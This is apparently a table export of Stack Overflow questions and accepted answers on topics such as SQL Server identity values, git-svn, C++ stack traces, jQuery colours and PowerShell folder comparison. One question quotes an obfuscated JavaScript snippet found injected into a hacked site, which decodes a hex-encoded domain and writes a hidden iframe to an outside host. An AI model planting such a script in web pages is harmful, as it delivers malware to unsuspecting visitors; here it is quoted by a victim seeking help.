id
int64 4
73.8M
| title
stringlengths 10
150
| body
stringlengths 17
50.8k
| accepted_answer_id
int64 7
73.8M
| answer_count
int64 1
182
| comment_count
int64 0
89
| community_owned_date
stringlengths 23
27
⌀ | creation_date
stringlengths 23
27
| favorite_count
int64 0
11.6k
⌀ | last_activity_date
stringlengths 23
27
| last_edit_date
stringlengths 23
27
⌀ | last_editor_display_name
stringlengths 2
29
⌀ | last_editor_user_id
int64 -1
20M
⌀ | owner_display_name
stringlengths 1
29
⌀ | owner_user_id
int64 1
20M
⌀ | parent_id
null | post_type_id
int64 1
1
| score
int64 -146
26.6k
| tags
stringlengths 1
125
| view_count
int64 122
11.6M
| answer_body
stringlengths 19
51k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
55,159 | In SQL Server is it possible to get "id" of a record when Insert is executed? | <p>In SQL Server 2005 I have an "id" field in a table that has the "Is Identity" property set to 'Yes'. So, when an Insert is executed on that table the "id" gets set automatically to the next incrementing integer. Is there an easy way when the Insert is executed to get what the "id" was set to without having to do a Select statement right after the Insert?</p>
<blockquote>
<p>duplicate of:<br>
<a href="https://stackoverflow.com/questions/42648/best-way-to-get-identity-of-inserted-row">Best way to get identity of inserted row?</a></p>
</blockquote> | 55,172 | 7 | 0 | null | 2008-09-10 19:56:54.47 UTC | 6 | 2015-01-02 10:30:07.89 UTC | 2017-05-23 12:25:52.557 UTC | Jeff Atwood | -1 | Keith Maurino | 1,096,640 | null | 1 | 12 | sql-server|identity | 43,374 | <p>In .Net at least, you can send multiple queries to the server in one go. I do this in my app:</p>
<pre><code>command.CommandText = "INSERT INTO [Employee] (Name) VALUES (@Name); SELECT SCOPE_IDENTITY()";
int id = (int)command.ExecuteScalar();
</code></pre>
<p>Works like a charm.</p> |
484,261 | client's website was attacked, eeek! | <p>Well, I guess this day had to come.</p>
<p>My client's website has been compromised and blacklisted by Google. When you load the main page this javascript gets automatically added to the bottom of the document:</p>
<pre><code><script type="text/javascript">var str='google-analytics.com';var str2='6b756c6b61726e696f6f37312e636f6d';str4='php';var str3='if';str='';for(var i=0;i<str2.length;i=i+2){str=str+'%'+str2.substr(i,2);}str=unescape(str);document.write('<'+str3+'rame width=1 height=1 src="http://'+str+'/index.'+str4+'?id=382" style="visibility: hidden;"></'+str3+'rame>');</script></head><body><iframe src="http://kulkarnioo71.com/index.php?id=382" style="visibility: hidden;" width="1" height="1"></iframe>
</code></pre>
<p>I haven't dissected it just yet but it's, quite obviously, an attacker trying to pose as google analytics. What I can't wrap my head around is that if I remove EVERY SINGLE LAST BIT of HTML from the main page, to the point that index.html is an empty document, the javascript STILL gets embedded. What gives? How is that possible?</p>
<p><strong>updates</strong></p>
<ul>
<li><p>The website is a very simple calendar application, runs on a $10/month godaddy unix account, MySQL, PHP.</p></li>
<li><p>It is not a local thing specific to my computer as my client was the one that called me with the problem. Also happening on all the computers I have at home (4)</p></li>
</ul>
<p>I'll go run a scan on the webserver...</p>
<p><strong>source identified</strong></p>
<p>Well, I found out where the javascript is coming from. I had foolishly only emptied the <code>template.html</code> file but still ran the script through my php templating system. Apparently, SOMEHOW the code above got appended to the bottom of my <code>index.php</code> and <code>main.php</code> files. How is this possible?</p>
<p>A little more background:</p>
<ul>
<li>It is a calendar application, as mentioned above, and it is used only by my client's small company. Login is required to do anything, and only 5 or so people have accounts. I can guarantee none of them would try any shenanigans. I obviously can't guarantee someone got a hold of their information and did try shenanigans, though.</li>
<li>Sadly enough, I did make this website almost 4 years ago, so I am not exactly 100% confident I protected against everything kids are trying nowadays, but I still cannot understand how an attacker could have possibly gained access to the webserver to append this javascript to my php files.</li>
</ul> | 484,283 | 7 | 2 | null | 2009-01-27 17:07:34.18 UTC | 9 | 2010-01-05 10:36:42.253 UTC | 2009-01-27 17:29:17.477 UTC | Donovan | 31,610 | Paolo Bergantino | 16,417 | null | 1 | 13 | javascript|security | 1,066 | <p>A rogue HTTP Module (in IIS), or whatever the equivalent is for apache could prepend, append, or perhaps even modify content for any HTTP request, even for static files. This would suggest that the server itself has been compromised.</p>
<p>EDIT: If you let us know what type of web server you're using, we'll be able to make more specific suggestions for troubleshooting.</p> |
875,132 | How to call setUndecorated() after a frame is made visible? | <p>In my Swing application, I want the ability to switch between decorated and undecorated without recreating the entire frame. However, the API doesn't let me call <code>setUndecorated()</code> after the frame is made visible.</p>
<p>Even if i call <code>setVisible(false)</code>, <code>isDisplayable()</code> still returns true. The API says the only way to make a frame not-displayable is to re-create it. However, I don't want to recreate the frame just to switch off some title bars.</p>
<p>I am making a full-screenable application that can be switched between fullscreen and windowed modes; It should be able to switch while maintaining the state, etc.</p>
<p>How do I do this after a frame is visible?.</p> | 876,954 | 7 | 0 | null | 2009-05-17 18:17:17.54 UTC | 3 | 2016-12-12 14:25:57.763 UTC | 2015-05-06 04:24:25.317 UTC | null | 3,187,989 | null | 93,535 | null | 1 | 21 | java|swing|fullscreen | 50,062 | <p>You can't. That's been my experience when I tried to achieve the same. </p>
<p>However if you have your entire UI in one panel which is in your frame, you can create a new frame and add that panel to the frame. Not so much work.</p>
<p>Something like this:</p>
<pre><code>// to start with
JPanel myUI = createUIPanel();
JFrame frame = new JFrame();
frame.add(myUI);
// .. and later ...
JFrame newFrame = new JFrame();
newFrame.setUndecorated();
newFrame.add(myUI);
</code></pre>
<p>In Swing a panel (and indeed any instance of a component) can only be in one frame at a time, so when you add it to a new frame, it immediately ceases to be in the old frame.</p> |
240,582 | How do you OR two LIKE statements? | <p>I have tried the following two statements:</p>
<ul>
<li><code>SELECT col FROM db.tbl WHERE col (LIKE 'str1' OR LIKE 'str2') AND col2 = num</code> results in a syntax error</li>
<li><code>SELECT col FROM db.tbl WHERE page LIKE ('str1' OR 'str2') AND col2 = num</code> results in "Truncated incorrect DOUBLE value: str1" and "Truncated incorrect DOUBLE value: str2" for what looks like every result. However, no results are actually returned.</li>
</ul>
<p>I figured one of the two statements would work, but they aren't.</p> | 240,585 | 8 | 0 | null | 2008-10-27 16:47:25.19 UTC | 3 | 2021-03-07 04:49:00.84 UTC | null | null | null | Thomas Owens | 572 | null | 1 | 50 | sql|mysql | 130,065 | <blockquote>
<pre><code>SELECT col FROM db.tbl WHERE (col LIKE 'str1' OR col LIKE 'str2') AND col2 = num
</code></pre>
</blockquote> |
912,830 | Using subprocess to run Python script on Windows | <p>Is there a simple way to run a Python script on Windows/Linux/OS X?</p>
<p>On the latter two, <code>subprocess.Popen("/the/script.py")</code> works, but on Windows I get the following error:</p>
<pre><code>Traceback (most recent call last):
File "test_functional.py", line 91, in test_functional
log = tvnamerifiy(tmp)
File "test_functional.py", line 49, in tvnamerifiy
stdout = PIPE
File "C:\Python26\lib\subprocess.py", line 595, in __init__
errread, errwrite)
File "C:\Python26\lib\subprocess.py", line 804, in _execute_child
startupinfo)
WindowsError: [Error 193] %1 is not a valid Win32 application
</code></pre>
<hr>
<blockquote>
<p><em><a href="https://stackoverflow.com/users/24718/monkut">monkut's</a> comment</em>: The use case isn't clear. Why use subprocess to run a python script? Is there something preventing you from importing the script and calling the necessary function?</p>
</blockquote>
<p>I was writing a quick script to test the overall functionality of a Python-command-line tool (to test it on various platforms). Basically it had to create a bunch of files in a temp folder, run the script on this and check the files were renamed correctly.</p>
<p>I could have imported the script and called the function, but since it relies on <code>sys.argv</code> and uses <code>sys.exit()</code>, I would have needed to do something like..</p>
<pre><code>import sys
import tvnamer
sys.argv.append("-b", "/the/folder")
try:
tvnamer.main()
except BaseException, errormsg:
print type(errormsg)
</code></pre>
<p>Also, I wanted to capture the stdout and stderr for debugging incase something went wrong.</p>
<p>Of course a better way would be to write the script in more unit-testable way, but the script is basically "done" and I'm doing a final batch of testing before doing a "1.0" release (after which I'm going to do a rewrite/restructure, which will be far tidier and more testable)</p>
<p>Basically, it was much easier to simply run the script as a process, after finding the <code>sys.executable</code> variable. I would have written it as a shell-script, but that wouldn't have been cross-platform. The final script can be found <a href="http://github.com/dbr/tvdb_api/blob/c8d7b356cd1a7bb2ab22b510ea74e03a7d27fad6/tests/test_functional.py" rel="noreferrer">here</a></p> | 912,847 | 8 | 2 | null | 2009-05-26 21:22:12.897 UTC | 19 | 2021-11-19 09:52:16.76 UTC | 2017-05-23 12:10:40.127 UTC | null | -1 | null | 745 | null | 1 | 52 | python|windows|subprocess | 130,898 | <p>Just found <a href="https://docs.python.org/library/sys.html#sys.executable" rel="noreferrer"><code>sys.executable</code></a> - the full path to the current Python executable, which can be used to run the script (instead of relying on the shbang, which obviously doesn't work on Windows)</p>
<pre><code>import sys
import subprocess
theproc = subprocess.Popen([sys.executable, "myscript.py"])
theproc.communicate()
</code></pre> |
60,221 | How to animate the command line? | <p>I have always wondered how people update a previous line in a command line. a great example of this is when using the wget command in linux. It creates an ASCII loading bar of sorts that looks like this:</p>
<blockquote>
<p>[======> ] 37%</p>
</blockquote>
<p>and of course the loading bar moves and the percent changes, But it doesn't make a new line. I cannot figure out how to do this. Can someone point me in the right direction?</p> | 60,226 | 8 | 0 | null | 2008-09-13 00:53:10.997 UTC | 64 | 2015-03-05 08:59:57.117 UTC | null | null | null | The.Anti.9 | 2,128 | null | 1 | 81 | command-line | 39,545 | <p>There are two ways I know of to do this:</p>
<ul>
<li>Use the backspace escape character ('\b') to erase your line</li>
<li>Use the <code>curses</code> package, if your programming language of choice has bindings for it.</li>
</ul>
<p>And a Google revealed <a href="http://en.wikipedia.org/wiki/ANSI_escape_code" rel="noreferrer">ANSI Escape Codes</a>, which appear to be a good way. For reference, here is a function in C++ to do this:</p>
<pre><code>void DrawProgressBar(int len, double percent) {
cout << "\x1B[2K"; // Erase the entire current line.
cout << "\x1B[0E"; // Move to the beginning of the current line.
string progress;
for (int i = 0; i < len; ++i) {
if (i < static_cast<int>(len * percent)) {
progress += "=";
} else {
progress += " ";
}
}
cout << "[" << progress << "] " << (static_cast<int>(100 * percent)) << "%";
flush(cout); // Required.
}
</code></pre> |
1,300,355 | What is a "database entity" and what types of DBMS items are considered entities? | <p>Is it things like tables? Or would it also include things like constraints, stored procedures, packages, etc.?</p>
<p>I've looked around the internet, but finding elementary answers to elementary questions is sometimes a little difficult.</p> | 1,300,438 | 9 | 0 | null | 2009-08-19 14:27:52.41 UTC | 4 | 2011-02-07 00:54:21.44 UTC | null | null | null | null | 120,549 | null | 1 | 17 | database|database-design | 61,176 | <p>In the entity relationship world an entity is something that <strong>may exist independently</strong> and so there is often a one-to-one relationship between entities and database tables. However, this mapping is an implementation decision: For example, an ER diagram may contain three entities: Triangle, Square and Circle and these could potentially be modelled as a single table: Shape.</p>
<p>Also note that some database tables may represent relationships between entities.</p> |
638,948 | Background-color hex to JavaScript variable | <p>I'm kind of new to JavaScript and jQuery and now I'm facing a problem:</p>
<p>I need to post some data to PHP and one bit of the data needs to be the background color hex of div X.</p>
<p>jQuery has the css("background-color") function and with it I can get RGB value of the background into a JavaScript variable.</p>
<p>The CSS function seems to return a string like this rgb(0, 70, 255). </p>
<p>I couldn't find any way to get hex of the background-color (even though it's set as hex in CSS).</p>
<p>So it seems like I need to convert it. I found a function for converting RGB to hex, but it needs to be called with three different variables, r, g and b. So I would need to parse the string rgb(x,xx,xxx) into var r=x; var g=xx; var b=xxx; somehow. </p>
<p>I tried to google parsing strings with JavaScript, but I didn't really understand the regular expressions thing. </p>
<p>Is there a way to get the background-color of div as hex, or can the string be converted into 3 different variables?</p> | 639,030 | 10 | 0 | null | 2009-03-12 14:44:23.617 UTC | 17 | 2013-12-13 19:31:06.667 UTC | 2013-12-13 19:31:06.667 UTC | null | 901,048 | Ezdaroth | 73,605 | null | 1 | 36 | javascript|jquery|hex|rgb|background-color | 45,992 | <p>try this out:</p>
<pre><code>var rgbString = "rgb(0, 70, 255)"; // get this in whatever way.
var parts = rgbString.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/);
// parts now should be ["rgb(0, 70, 255", "0", "70", "255"]
delete (parts[0]);
for (var i = 1; i <= 3; ++i) {
parts[i] = parseInt(parts[i]).toString(16);
if (parts[i].length == 1) parts[i] = '0' + parts[i];
}
var hexString ='#'+parts.join('').toUpperCase(); // "#0070FF"
</code></pre>
<p>In response to the question in the comments below:</p>
<blockquote>
<p>I'm trying to modify the regex to handle both rgb and rgba depending which one I get. Any hints? Thanks. </p>
</blockquote>
<p>I'm not exactly sure if it makes sense in the context of this question (since you can't represent an rgba color in hex), but I guess there could be other uses. Anyway, you could change the regex to be like this:</p>
<pre><code>/^rgba?\((\d+),\s*(\d+),\s*(\d+)(?:,\s*(0\.\d+))?\)$/
</code></pre>
<p>Example output:</p>
<pre><code>var d = document.createElement('div');
d.style.backgroundColor = 'rgba( 255, 60, 50, 0)';
/^rgba?\((\d+),\s*(\d+),\s*(\d+)(?:,\s*(1|0\.\d+))?\)$/.exec(d.style.backgroundColor);
// ["rgba(255, 60, 50, 0.33)", "255", "60", "50", "0.33"]
</code></pre> |
948,194 | Difference between Java Enumeration and Iterator | <p>What is the exact difference between these two interfaces? Does <a href="http://docs.oracle.com/javase/7/docs/api/java/util/Enumeration.html" rel="noreferrer"><code>Enumeration</code></a> have benefits over using <a href="http://docs.oracle.com/javase/7/docs/api/java/util/Iterator.html" rel="noreferrer"><code>Iterator</code></a>? If anyone could elaborate, a reference article would be appreciated.</p> | 948,224 | 10 | 1 | null | 2009-06-04 01:35:16.313 UTC | 63 | 2020-08-29 05:04:10.343 UTC | 2012-07-24 16:00:09.473 UTC | null | 589,259 | null | 108,869 | null | 1 | 136 | java|collections|iterator|enumeration | 94,644 | <p>Looking at the Java API Specification for the <a href="http://java.sun.com/javase/6/docs/api/java/util/Iterator.html" rel="noreferrer"><code>Iterator</code></a> interface, there is an explanation of the differences between <a href="http://java.sun.com/javase/6/docs/api/java/util/Enumeration.html" rel="noreferrer"><code>Enumeration</code></a>:</p>
<blockquote>
<p>Iterators differ from
enumerations in two ways:</p>
<ul>
<li>Iterators allow the caller to remove elements from the underlying
collection during the iteration with
well-defined semantics.</li>
<li>Method names have been improved.</li>
</ul>
</blockquote>
<p>The bottom line is, both <code>Enumeration</code> and <code>Iterator</code> will give successive elements, but <code>Iterator</code> improved the method names by shortening away the verbiage, and it has an additional <code>remove</code> method. Here is a side-by-side comparison:</p>
<pre><code> Enumeration Iterator
---------------- ----------------
hasMoreElements() hasNext()
nextElement() next()
N/A remove()
</code></pre>
<p>As also mentioned in the Java API Specifications, for newer programs, <code>Iterator</code> should be preferred over <code>Enumeration</code>, as "Iterator takes the place of Enumeration in the Java collections framework." (From the <a href="http://java.sun.com/javase/6/docs/api/java/util/Iterator.html" rel="noreferrer"><code>Iterator</code></a> specifications.)</p> |
1,316,405 | How to set a top margin only in XAML? | <p>I can set margins individually in <a href="https://stackoverflow.com/questions/1194447/how-can-i-set-a-stackpanels-margins-individually">code</a> but how do I do it in XAML, e.g. how do I do this:</p>
<p>PSEUDO-CODE:</p>
<pre><code><StackPanel Margin.Top="{Binding TopMargin}">
</code></pre> | 1,316,649 | 12 | 0 | null | 2009-08-22 16:40:08.213 UTC | 6 | 2022-03-03 16:34:05.79 UTC | 2017-05-23 11:47:16.903 UTC | null | -1 | null | 4,639 | null | 1 | 52 | c#|wpf|xaml|margins | 72,279 | <p>The key is to realize that setting it in code like this:</p>
<pre><code>sp2.Margin = new System.Windows.Thickness{ Left = 5 };
</code></pre>
<p>is equivalent to:</p>
<pre><code>sp2.Margin = new System.Windows.Thickness{ Left = 5, Top = 0, Right = 0, Bottom = 0 };
</code></pre>
<p>You <em>can't</em> set just a single value in a <code>Thickness</code> instance through <strong>either code or XAML</strong>. If you don't set some of the values, they will be implicitly zero. Therefore, you can just do this to convert the accepted code sample in your other question to a XAML equivalent:</p>
<pre><code><StackPanel Margin="{Binding TopMargin, Converter={StaticResource MyConverter}}"/>
</code></pre>
<p>where <code>MyConverter</code> just returns a <code>Thickness</code> that sets only the <code>Top</code> and leaves all other values as zero.</p>
<p>Of course, you could write your own control that <em>does</em> expose these individual values as dependency properties to make your code a little cleaner:</p>
<pre><code><CustomBorder TopMargin="{Binding TopMargin}">
</CustomBorder>
</code></pre>
<p>A better option than a custom control would be to write an attached property and change the Thickness using the code above in the dependency property setter. The below code would be usable across ALL controls which have a Margin.</p>
<pre><code>public static readonly DependencyProperty TopMarginProperty =
DependencyProperty.RegisterAttached("TopMargin", typeof(int), typeof(FrameworkElement),
new FrameworkPropertyMetadata(false, FrameworkPropertyMetadataOptions.AffectsRender));
public static void SetTopMargin(FrameworkElement element, int value)
{
// set top margin in element.Margin
}
public static int GetTopMargin(FrameworkElement element)
{
// get top margin from element.Margin
}
</code></pre>
<p>If you couple this with a Behavior, you can get notification changes on the TopMargin property.</p> |
690,465 | Which are more performant, CTE or temporary tables? | <p>Which are more performant, <code>CTE</code> or <code>Temporary Tables</code>?</p> | 698,634 | 12 | 2 | null | 2009-03-27 16:28:49.077 UTC | 73 | 2021-03-15 17:45:24.007 UTC | 2018-03-22 05:37:48.383 UTC | gbn | 3,876,565 | Blankman | 39,677 | null | 1 | 161 | sql-server|performance|sql-server-2008|temp-tables|common-table-expression | 209,966 | <p>I'd say they are different concepts but not too different to say "chalk and cheese".</p>
<ul>
<li><p>A temp table is good for re-use or to perform multiple processing passes on a set of data.</p></li>
<li><p>A CTE can be used either to recurse or to simply improved readability. <br>
And, like a view or inline table valued function can also be treated like a macro to be expanded in the main query</p></li>
<li><p>A temp table is another table with some rules around scope</p></li>
</ul>
<p>I have stored procs where I use both (and table variables too)</p> |
527,037 | git-svn not a git command? | <p>While attempting to get an old svn dump of a project under git control, I ran into an interesting problem. Whenever I run <code>git svn</code>, I get an error saying it isn't a git command, yet there is documentation for it that I can pull up using <code>git help</code>. Is there something wrong with my install, or am I just missing something here?</p>
<p>Edit: I should probably also mention that I am running msysGit version 1.6.1.9.g97c34 under Windows XP, and the error I get is:</p>
<pre>$ git svn
git: 'svn' is not a
git-command. See 'git --help'.
Did you mean one of these?
fsck
show</pre> | 527,383 | 13 | 0 | null | 2009-02-09 03:04:33.25 UTC | 17 | 2019-11-08 18:39:46.97 UTC | 2009-02-09 03:20:08.86 UTC | Cristián Romo | 1,256 | Cristián Romo | 1,256 | null | 1 | 119 | svn|git|git-svn | 75,000 | <p>I am not sure that <a href="http://osdir.com/ml/version-control.msysgit/2008-01/msg00225.html" rel="nofollow noreferrer">git svn has ever worked</a> with recent Git Windows distribution (post 1.5.6).</p>
<p>Many problems <a href="http://article.gmane.org/gmane.comp.version-control.msysgit/2433" rel="nofollow noreferrer">have been reported</a> before, so <code>git svn</code> may very much be not included in current msysGit releases.</p>
<p>Another current active "Git on Windows" development <a href="http://repo.or.cz/w/git/mingw.git" rel="nofollow noreferrer">mingw.git</a> does state in its <a href="http://repo.or.cz/w/git/mingw.git?a=blob_plain;f=README.MinGW;hb=master" rel="nofollow noreferrer">README</a> that svn does not work.</p>
<p>This <a href="http://code.google.com/p/msysgit/issues/detail?id=174#c8" rel="nofollow noreferrer">thread of Msysgit</a> does suggest that git svn may be reintegrated at some points, but progress are still slow.</p>
<hr>
<p>Update: from MSysGit1.6.2 (early March 2009), <strong><code>git-svn</code> works again</strong>. See this <a href="https://stackoverflow.com/questions/623518/msysgit-on-windows-what-should-i-be-aware-of-if-any/647601#647601">SO question</a>.</p>
<hr>
<p>Update: with a <a href="https://github.com/git-for-windows/git/releases" rel="nofollow noreferrer">modern (2017) Git for Windows 2.x</a>, <code>git svn</code> is already included.<br>
No need for <code>sudo apt-get install git-svn</code>, which would only be possible in a <a href="https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux" rel="nofollow noreferrer">WSL (Windows Subsystem for Linux) shell session</a> anyway.</p> |
691,719 | C++ display stack trace on exception | <p>I want to have a way to report the stack trace to the user if an exception is thrown. What is the best way to do this? Does it take huge amounts of extra code?</p>
<p>To answer questions:</p>
<p>I'd like it to be portable if possible. I want information to pop up, so the user can copy the stack trace and email it to me if an error comes up.</p> | 691,742 | 16 | 0 | null | 2009-03-27 22:42:46.48 UTC | 77 | 2021-11-30 12:41:37.293 UTC | 2010-01-06 22:50:57.52 UTC | rlbond | 63,550 | rlbond | 72,631 | null | 1 | 248 | c++|exception|exception-handling|stack-trace | 291,077 | <p>It depends which platform. </p>
<p>On GCC it's pretty trivial, see <a href="https://stackoverflow.com/questions/77005/how-to-generate-a-stacktrace-when-my-gcc-c-app-crashes">this post</a> for more details.</p>
<p>On MSVC then you can use the <a href="http://www.codeproject.com/KB/threads/StackWalker.aspx" rel="noreferrer">StackWalker</a> library that handles all of the underlying API calls needed for Windows.</p>
<p>You'll have to figure out the best way to integrate this functionality into your app, but the amount of code you need to write should be minimal.</p> |
524,696 | How to create a <style> tag with Javascript? | <p>I'm looking for a way to insert a <code><style></code> tag into an HTML page with JavaScript.</p>
<p>The best way I found so far:</p>
<pre><code>var divNode = document.createElement("div");
divNode.innerHTML = "<br><style>h1 { background: red; }</style>";
document.body.appendChild(divNode);
</code></pre>
<p>This works in Firefox, Opera and Internet Explorer but not in Google Chrome. Also it's a bit ugly with the <code><br></code> in front for IE.</p>
<p>Does anyone know of a way to create a <code><style></code> tag that</p>
<ol>
<li><p>Is nicer</p></li>
<li><p>Works with Chrome?</p></li>
</ol>
<p>Or maybe</p>
<ol>
<li><p>This is a non-standard thing I should avoid</p></li>
<li><p>Three working browsers are great and who uses Chrome anyway?</p></li>
</ol> | 524,721 | 18 | 0 | null | 2009-02-07 22:12:30.837 UTC | 120 | 2021-10-10 12:42:58.64 UTC | 2019-01-02 10:40:48.053 UTC | andyk | 10,837,429 | Arend | null | null | 1 | 421 | javascript|html|css | 422,404 | <p>Try adding the <code>style</code> element to the <code>head</code> rather than the <code>body</code>.</p>
<p>This was tested in IE (7-9), Firefox, Opera and Chrome:</p>
<pre><code>var css = 'h1 { background: red; }',
head = document.head || document.getElementsByTagName('head')[0],
style = document.createElement('style');
head.appendChild(style);
style.type = 'text/css';
if (style.styleSheet){
// This is required for IE8 and below.
style.styleSheet.cssText = css;
} else {
style.appendChild(document.createTextNode(css));
}
</code></pre> |
113,511 | Best implementation for hashCode method for a collection | <p>How do we decide on the best implementation of <code>hashCode()</code> method for a collection (assuming that equals method has been overridden correctly) ?</p> | 113,600 | 20 | 2 | null | 2008-09-22 06:53:35.333 UTC | 193 | 2018-12-11 09:46:05.657 UTC | 2018-09-21 20:25:41.193 UTC | VonC | 642,706 | Omnipotent | 11,193 | null | 1 | 319 | java|hash|equals|hashcode | 266,198 | <p>The best implementation? That is a hard question because it depends on the usage pattern.</p>
<p>A for nearly all cases reasonable good implementation was proposed in <em>Josh Bloch</em>'s <strong><em>Effective Java</em></strong> in Item 8 (second edition). The best thing is to look it up there because the author explains there why the approach is good.</p>
<h3>A short version</h3>
<ol>
<li><p>Create a <code>int result</code> and assign a <strong>non-zero</strong> value.</p></li>
<li><p>For <em>every field</em> <code>f</code> tested in the <code>equals()</code> method, calculate a hash code <code>c</code> by:</p>
<ul>
<li>If the field f is a <code>boolean</code>:
calculate <code>(f ? 0 : 1)</code>;</li>
<li>If the field f is a <code>byte</code>, <code>char</code>, <code>short</code> or <code>int</code>: calculate <code>(int)f</code>;</li>
<li>If the field f is a <code>long</code>: calculate <code>(int)(f ^ (f >>> 32))</code>;</li>
<li>If the field f is a <code>float</code>: calculate <code>Float.floatToIntBits(f)</code>;</li>
<li>If the field f is a <code>double</code>: calculate <code>Double.doubleToLongBits(f)</code> and handle the return value like every long value;</li>
<li>If the field f is an <em>object</em>: Use the result of the <code>hashCode()</code> method or 0 if <code>f == null</code>;</li>
<li>If the field f is an <em>array</em>: see every field as separate element and calculate the hash value in a <em>recursive fashion</em> and combine the values as described next.</li>
</ul></li>
<li><p>Combine the hash value <code>c</code> with <code>result</code>:</p>
<pre><code>result = 37 * result + c
</code></pre></li>
<li><p>Return <code>result</code></p></li>
</ol>
<p>This should result in a proper distribution of hash values for most use situations.</p> |
689,185 | json_decode returns NULL after webservice call | <p>There is a strange behaviour with <code>json_encode</code> and <code>json_decode</code> and I can't find a solution:</p>
<p>My php application calls a php web service. The webservice returns json that looks like this: </p>
<pre><code>var_dump($foo):
string(62) "{"action":"set","user":"123123123123","status":"OK"}"
</code></pre>
<p>now I like to decode the json in my application:</p>
<pre><code>$data = json_decode($foo, true)
</code></pre>
<p>but it returns <code>NULL</code>:</p>
<pre><code>var_dump($data):
NULL
</code></pre>
<p>I use php5.
The Content-Type of the response from the webservice: <code>"text/html; charset=utf-8"</code> (also tried to use <code>"application/json; charset=utf-8"</code>)</p>
<p>What could be the reason?</p> | 689,364 | 24 | 1 | null | 2009-03-27 10:11:48.407 UTC | 19 | 2022-07-08 18:49:26.18 UTC | 2012-09-21 23:38:48.603 UTC | SilentGhost | 1,216,976 | schouk | 73,577 | null | 1 | 66 | php|json | 114,542 | <p><strong>EDIT:</strong>
Just did some quick inspection of the string provided by the OP. The small "character" in front of the curly brace is a <a href="http://en.wikipedia.org/wiki/Byte-order_mark" rel="noreferrer">UTF-8 B(yte) O(rder) M(ark)</a> <code>0xEF 0xBB 0xBF</code>. I don't know why this byte sequence is displayed as <code></code> here.</p>
<p>Essentially the system you aquire the data from sends it encoded in UTF-8 with a BOM preceding the data. You should remove the first three bytes from the string before you throw it into <code>json_decode()</code> (a <code>substr($string, 3)</code> will do).</p>
<pre><code>string(62) "{"action":"set","user":"123123123123","status":"OK"}"
^
|
This is the UTF-8 BOM
</code></pre>
<p>As <a href="https://stackoverflow.com/questions/689185/jsondecode-returns-null-php/689237#689237">Kuroki Kaze</a> discovered, this character surely is the reason why <code>json_decode</code> fails. The string in its given form is not correctly a JSON formated structure (see <a href="http://www.ietf.org/rfc/rfc4627.txt" rel="noreferrer">RFC 4627</a>)</p> |
6,969,563 | 'Session' does not exist in the current context | <p>I have the following code, that uses session but i have an error in the line :</p>
<pre><code>if (Session["ShoppingCart"] == null)
</code></pre>
<p>the error is <code>cS0103: The name 'Session' does not exist in the current context</code> what is the problem ?</p>
<pre><code>using System;
using System.Data;
using System.Configuration;
using System.Linq;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Xml.Linq;
using System.Collections.Generic;
using System.Web.SessionState;
/// <summary>
/// Summary description for ShoppingCart
/// </summary>
public class ShoppingCart
{
List<CartItem> list;
public ShoppingCart()
{
if (Session["ShoppingCart"] == null)
list = new List<CartItem>();
else
list = (List<CartItem>)Session["ShoppingCart"];
}
}
</code></pre> | 6,969,587 | 5 | 2 | null | 2011-08-06 23:01:40.383 UTC | 3 | 2020-03-20 11:15:46.007 UTC | 2013-08-02 21:49:08.33 UTC | null | 23,199 | null | 508,377 | null | 1 | 12 | c#|asp.net|session | 70,859 | <p>The issue is that your class does not inherit from Page. you need to Change</p>
<pre><code>public class ShoppingCart
</code></pre>
<p>to </p>
<pre><code>public class ShoppingCart : Page
</code></pre>
<p>and it will work</p> |
6,511,978 | run console application in C# with parameters | <p>How can I run a console application in C#, passing parameters to it, and get the result of the application in Unicode? <code>Console.WriteLine</code> is used in the console application.
Important point is write Unicode in Console Application. </p> | 6,512,038 | 6 | 1 | null | 2011-06-28 19:21:26.893 UTC | 2 | 2016-02-19 10:25:11.28 UTC | 2011-06-28 19:55:10.187 UTC | null | 140,934 | null | 140,934 | null | 1 | 13 | c#|console-application | 47,747 | <p>Sample from <a href="http://msdn.microsoft.com/en-us/library/system.diagnostics.process.standardoutput.aspx" rel="noreferrer">MSDN</a></p>
<pre><code> // Start the child process.
Process p = new Process();
// Redirect the output stream of the child process.
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.FileName = "Write500Lines.exe";
p.Start();
// Do not wait for the child process to exit before
// reading to the end of its redirected stream.
// p.WaitForExit();
// Read the output stream first and then wait.
string output = p.StandardOutput.ReadToEnd();
p.WaitForExit();
</code></pre> |
6,646,376 | Jquery Date picker Default Date | <p>I am using a Jquery Datepicker in my project. The problem is that it is not loading the current date, but showing a date 1st January 2001 as default. Can you please let me know how the default date can be corrected so it will display the current date.</p> | 6,646,412 | 6 | 6 | null | 2011-07-11 06:09:16.417 UTC | 5 | 2018-08-05 23:49:53.417 UTC | 2011-07-11 06:51:15.913 UTC | null | 87,015 | null | 835,042 | null | 1 | 41 | jquery|jquery-ui|datepicker|jquery-ui-datepicker | 228,366 | <p>interesting, datepicker default date is current date as I found,</p>
<p>but you can set date by</p>
<pre><code>$("#yourinput").datepicker( "setDate" , "7/11/2011" );
</code></pre>
<p>don't forget to check you system date :)</p> |
6,526,441 | Comparing folders and content with PowerShell | <p>I have two different folders with xml files. One folder (folder2) contains updated and new xml files compared to the other (folder1). I need to know which files in folder2 are new/updated compared to folder1 and copy them to a third folder (folder3). What's the best way to accomplish this in PowerShell?</p> | 6,526,909 | 7 | 7 | null | 2011-06-29 19:54:39.98 UTC | 15 | 2020-12-23 22:26:45.81 UTC | 2020-04-14 04:37:58.95 UTC | null | 477,420 | null | 726,454 | null | 1 | 27 | file|powershell|compare|directory | 83,564 | <p>OK, I'm not going to code the whole thing for you (what's the fun in that?) but I'll get you started.</p>
<p>First, there are two ways to do the content comparison. The lazy/mostly right way, which is comparing the length of the files; and the accurate but more involved way, which is comparing a hash of the contents of each file.</p>
<p>For simplicity sake, let's do the easy way and compare file size.</p>
<p>Basically, you want two objects that represent the source and target folders:</p>
<pre><code>$Folder1 = Get-childitem "C:\Folder1"
$Folder2 = Get-childitem "C:\Folder2"
</code></pre>
<p>Then you can use <code>Compare-Object</code> to see which items are different...</p>
<p><code>Compare-Object $Folder1 $Folder2 -Property Name, Length</code></p>
<p>which will list for you everything that is different by comparing only name and length of the file objects in each collection.</p>
